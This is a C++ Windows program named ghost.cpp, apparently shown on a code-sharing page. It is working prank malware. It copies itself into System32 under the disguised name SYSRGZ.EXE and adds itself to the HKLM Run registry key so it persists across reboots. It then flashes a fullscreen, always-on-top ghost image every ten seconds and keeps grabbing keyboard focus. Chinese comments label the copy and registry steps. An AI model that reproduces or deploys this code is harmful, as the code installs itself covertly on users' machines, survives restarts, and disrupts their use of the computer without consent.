📄 ghost.cpp
字号:
// ghost.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "resource.h"
#define ID_TIMER 1
HINSTANCE g_hInst;
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
WNDCLASSEX wndclass;
HWND hwnd;
MSG msg;
g_hInst=hInstance; // save the globle instance
wndclass.cbSize=sizeof(WNDCLASSEX);
wndclass.style=NULL;
wndclass.lpfnWndProc=(WNDPROC)MainWndProc;
wndclass.lpszClassName="windows";
wndclass.cbWndExtra=NULL;
wndclass.cbClsExtra=NULL;
wndclass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.hCursor=LoadCursor(NULL,LPCTSTR(IDC_ARROW));
wndclass.hIcon=LoadIcon(hInstance,LPCTSTR(IDI_ICON));
wndclass.hInstance=hInstance;
wndclass.lpszMenuName=NULL;
wndclass.hIconSm=LoadIcon(hInstance,LPCTSTR(IDI_ICON));
if(!RegisterClassEx(&wndclass))
{
MessageBox(NULL,TEXT("ERROR!"),TEXT("ERROR!"),MB_OK);
return 0;
}
hwnd=CreateWindowEx(WS_EX_TOPMOST,
TEXT("windows"),
TEXT("windows"),
WS_POPUPWINDOW,
0,
0,
1024,
768,
NULL,
NULL,
hInstance,
NULL);
ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);
while(GetMessage(&msg,NULL,NULL,NULL))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
char buffer[200]={'\0'};
static char sysDir[80]={'\0'};
static HBITMAP hBitmapGhost;
HDC hdc,hdcRes;
PAINTSTRUCT ps;
HKEY hKey;
switch(message)
{
case WM_CREATE:
hBitmapGhost=LoadBitmap(g_hInst,LPCTSTR(IDB_BITMAP_GHOST));
SetTimer(hwnd,ID_TIMER,10000,NULL);
GetCurrentDirectory(200,buffer);
GetWindowsDirectory(sysDir,80);
strcat(sysDir,"\\System32\\SYSRGZ.EXE");
strcat(buffer,"\\ghost.EXE");
// 复制到系统文件夹
if(!CopyFile(buffer,sysDir,TRUE))
return 0;
else
// 修改注册表
if(RegOpenKey(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
&hKey) == ERROR_SUCCESS)
RegSetValueEx(hKey,"SYSRGZ",0,REG_SZ,(BYTE *)sysDir,sizeof(sysDir));
return 0;
case WM_PAINT:
hdc=BeginPaint(hwnd,&ps);
hdcRes=CreateCompatibleDC(hdc);
SelectObject(hdcRes,HGDIOBJ(hBitmapGhost));
BitBlt(hdc,0,0,1024,768,hdcRes,0,0,SRCCOPY);
EndPaint(hwnd,&ps);
DeleteDC(hdcRes);
return 0;
case WM_KEYDOWN:
SetWindowPos(hwnd,0,0,0,0,0,SWP_HIDEWINDOW);
return 0;
case WM_TIMER:
SendMessage(hwnd,WM_KILLFOCUS,0,0);
// SetWindowPos(hwnd,HWND_TOP ,0,0,1024,768,SWP_SHOWWINDOW);
ShowWindow(hwnd,SW_MAXIMIZE);
InvalidateRect(hwnd,NULL,TRUE);
return 0;
case WM_KILLFOCUS:
SetFocus(hwnd);
return 0;
}
return DefWindowProc(hwnd,message,wParam,lParam);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -